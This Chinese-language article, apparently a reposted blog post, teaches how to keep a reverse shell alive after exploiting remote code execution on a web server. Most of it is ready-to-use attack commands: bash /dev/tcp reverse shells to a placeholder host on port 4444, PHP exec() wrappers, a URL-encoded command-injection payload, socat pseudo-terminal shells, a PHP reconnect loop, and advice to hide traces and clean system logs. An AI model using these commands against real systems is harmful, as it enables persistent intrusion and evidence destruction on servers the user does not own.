当前位置: 首页 > news >正文

用nohup setsid绕过超时断连,稳定反弹Shell

在We渗透过程中,我们常常会利用目标系统的远程代码执行(RCE)漏洞进行反弹Shell。然而,由于Web服务器(如PHP、Python后端)的执行环境通常存在超时限制(如max_execution_time或进程管理策略),反弹Shell进程可能在短时间内被终止,导致会话断连。为了解决这一问题,可以使用nohup&setsid等Linux命令来规避后端超时退出,确保会话的稳定性。本文将聚焦Web场景下的RCE,分析如何通过这些工具实现稳定的反弹Shell。


一、Web场景RCE与超时断连问题

1.1 Web场景RCE的特点

在Web场景下,RCE通常通过高危漏洞(如命令注入、文件上传、反序列化等)触发,攻击者通过Web请求在后端执行命令。例如,在PHP环境中,可能通过system()exec()等函数执行反弹Shell命令。常见的反弹Shell命令包括:

  • Bash反弹
    bash -i >& /dev/tcp/x.x.x.x/4444 0>&1
    
  • PHP反弹
    <?php
    exec("bash -i >& /dev/tcp/x.x.x.x/4444 0>&1");
    ?>
    

这些命令通过Web请求触发,但Web服务器通常会限制脚本的执行时间(例如PHP的max_execution_time默认为30秒),或者在请求结束后终止进程,导致反弹Shell无法持久运行。

1.2 超时断连的原因

  1. Web服务器超时设置:如PHP的max_execution_time或Nginx/Apache的请求超时配置。
  2. 进程依赖:反弹Shell进程依赖于Web请求的进程,请求结束后进程被终止。
  3. 会话管理:目标系统的会话管理策略可能主动清理非活跃进程。
  4. 网络限制:防火墙或网络策略可能中断长时间未活动的连接。

为应对这些问题,我们可以让反弹Shell进程脱离Web请求的控制,保持长期运行。


二、使用nohup&setsid规避断连

以下分别介绍这三种工具在Web场景RCE中的应用,以及如何结合使用以实现稳定的反弹Shell。

2.1 使用nohup防止进程挂起

2.1.1 原理

nohup(no hangup)命令通过忽略挂起信号(SIGHUP),使进程在终端或父进程(如Web请求进程)退出后继续运行。在Web场景RCE中,nohup可以让反弹Shell进程脱离Web服务器的请求生命周期。

2.1.2 实现方法

假设攻击者在目标Web服务器上通过RCE执行命令,可以使用以下方式:

nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &
  • nohup:确保进程忽略SIGHUP信号,不因Web请求结束而终止。
  • bash -c:执行反弹Shell命令。
  • &:将进程放入后台运行,避免阻塞Web请求。

在PHP场景下,可以通过exec()触发:

<?php
exec("nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>

执行后,Web请求即使因超时结束,反弹Shell进程仍会在后台运行,保持与攻击者监听端口的连接。

2.1.3 注意事项
  • 输出重定向nohup默认将输出写入nohup.out文件,可能暴露痕迹。建议重定向到/dev/null
    nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
    
  • 权限问题:确保Web服务器用户(如www-data)有执行nohupbash的权限。
  • 适用性nohup适用于大多数Linux系统,但部分精简环境可能缺失。

2.2 使用&实现后台运行

2.2.1 原理

在Linux中,&符号将命令放入后台运行,使其不阻塞当前进程。在Web场景中,结合&可以让反弹Shell进程独立于Web请求,避免因请求超时而终止。

2.2.2 实现方法

直接在命令后添加&

bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &

在PHP中:

<?php
exec("bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
2.2.3 注意事项
  • 局限性:单独使用&无法完全脱离父进程,Web服务器进程退出时,反弹Shell可能仍被终止。
  • 建议&通常与nohupsetsid结合使用,以增强稳定性:
    nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
    

2.3 使用setsid实现进程完全独立

2.3.1 原理

setsid命令创建一个新的会话(session),使进程成为新会话的领导者,脱离原有的控制终端和父进程(如Web服务器进程)。这在Web场景RCE中特别有效,可彻底解决因Web请求终止导致的进程退出问题。

2.3.2 实现方法

命令示例:

setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &

在PHP中:

<?php
exec("setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
2.3.3 注意事项
  • 输出处理:与nohup类似,建议重定向输出以减少痕迹:
    setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
    
  • 环境依赖:部分精简系统可能未安装setsid,需确认目标环境支持。
  • 交互性:若需要更高交互性,可结合socat创建伪终端:
    setsid socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane &
    

2.4 综合使用nohup&setsid

为最大化反弹Shell的稳定性,建议结合三者使用:

nohup setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &

在PHP中:

<?php
exec("nohup setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &");
?>
  • nohup:忽略SIGHUP信号,防止进程因Web请求结束而终止。
  • setsid:创建新会话,脱离Web服务器进程的控制。
  • &:确保进程后台运行。
  • >/dev/null 2>&1:重定向输出,减少痕迹。

三、实战场景与优化

3.1 典型Web场景应用

假设目标是一个运行PHP的Web服务器,存在命令注入漏洞,攻击者通过以下URL触发RCE:

http://target.com/vuln.php?cmd=[command]

攻击者可以在cmd参数中传入以下命令:

nohup%20setsid%20bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/x.x.x.x/4444%200%3E%261'%20%3E/dev/null%202%3E%261%20%26
  • URL编码确保命令正确传递。
  • 攻击者在本地监听端口(如nc -lvnp 4444),即可接收反弹Shell。

3.2 优化建议

  1. 减少痕迹

    • 始终重定向输出到/dev/null,避免生成nohup.out等文件。
    • 检查目标系统日志(如/var/log),清理可能的执行记录。
  2. 提高交互性

    • 如果目标支持socat,优先使用带伪终端的反弹Shell:
      nohup setsid socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane >/dev/null 2>&1 &
      
  3. 应对网络中断

    • 在目标系统支持的情况下,添加简单的重连脚本。例如,使用PHP编写:
      <?php
      while (true) {exec("bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &");sleep(5);
      }
      ?>
      
    • 此脚本每5秒尝试重连,适合网络不稳定场景。
  4. 权限检查

    • 确认Web服务器用户(如www-data)是否有执行nohupsetsid等命令的权限。
    • 如果权限受限,可尝试其他方法(如Python脚本)。

四、优缺点总结

工具/方法优点缺点
nohup简单易用,内置于大多数Linux系统,防止SIGHUP终止输出默认写入nohup.out,需手动重定向
&简单,直接实现后台运行无法完全脱离父进程,稳定性较低
setsid创建新会话,完全独立于父进程部分系统可能未安装,需确认环境
综合使用结合三者,稳定性最高命令较复杂,需确保环境支持

五、结论

在Web场景RCE中,反弹Shell的超时断连问题可以通过nohup&setsid有效规避。nohup防止进程因SIGHUP终止,&实现后台运行,setsid使进程完全独立于Web请求进程。综合使用这三者,并结合输出重定向和伪终端支持(如socat),可以显著提高反弹Shell的稳定性。在实战中,攻击者需根据目标环境灵活选择方案,并注意减少痕迹、提高隐蔽性。

通过上述方法,渗透测试人员能够在Web场景下实现持久、稳定的反弹Shell,为后续内网渗透、权限维持等操作奠定基础。

http://www.dtcms.com/a/342025.html

相关文章:

  • Spring 循环依赖:从 “死锁” 到 “破局” 的完整解析
  • 在.NET 8 中使用中介模式优雅处理多版本 API 请求
  • 大数据毕业设计选题推荐-基于大数据的鲍鱼多重生理特征数据可视化分析系统-Spark-Hadoop-Bigdata
  • AUTOSAR自适应平台(AP)中元类(Metaclass)、建模(Modeling) 和 ARXML 这三者的核心关系与区别
  • 阿里云上部署nuxt开发的项目(SSG和SSR混合渲染)
  • Qwen2-阿里云最新发布的通义千问开源大模型
  • AR眼镜在制造业的生产设备智慧运维方案介绍
  • CRMEB私域电商系统后台开发实战:小程序配置全流程解析
  • Unity 二进制读写小框架
  • 机器人 - 无人机基础(4) - FreeRTOS
  • MFC随笔—不使用对话框资源模板创建对话框
  • 嵌入式ARM程序高级调试基础:8.QEMU ARM虚拟机与tftp配置
  • QT的项目pro qmake编译
  • OpenCV结构光三维重建类cv::structured_light::GrayCodePattern
  • 01 网络信息内容安全--绪论
  • OpenCV图像色彩空间转换
  • OpenCV图像形态学操作
  • SigNoz 外置 ClickHouse 高可用部署实践
  • Qt二维码生成器项目开发教程 - 从零开始构建专业级QR码生成工具
  • AI + 云原生 + ITSM 的三重融合:企业数字化转型的新引擎
  • Azure官网为何没直接体现专业服务
  • unity之物体旋转
  • 使用 queryParameters:参数,拦截到所有mars3d的网络请求
  • PPIO首发上线DeepSeek-V3.1,Agent 能力大幅提升
  • 驱动-在自定义总线上创建驱动-分析驱动注册流程
  • Linux笔记---策略模式与日志
  • Neovim clangd LSP 配置出现 “attempt to call field ‘ge‘”
  • [论文阅读] 人工智能 + 软件工程 | 当AI成为文学研究员:Agentic DraCor如何用MCP解锁戏剧数据分析
  • 短视频矩阵管理软件推荐:小麦矩阵系统全面解析
  • AR技术:重塑汽车制造的未来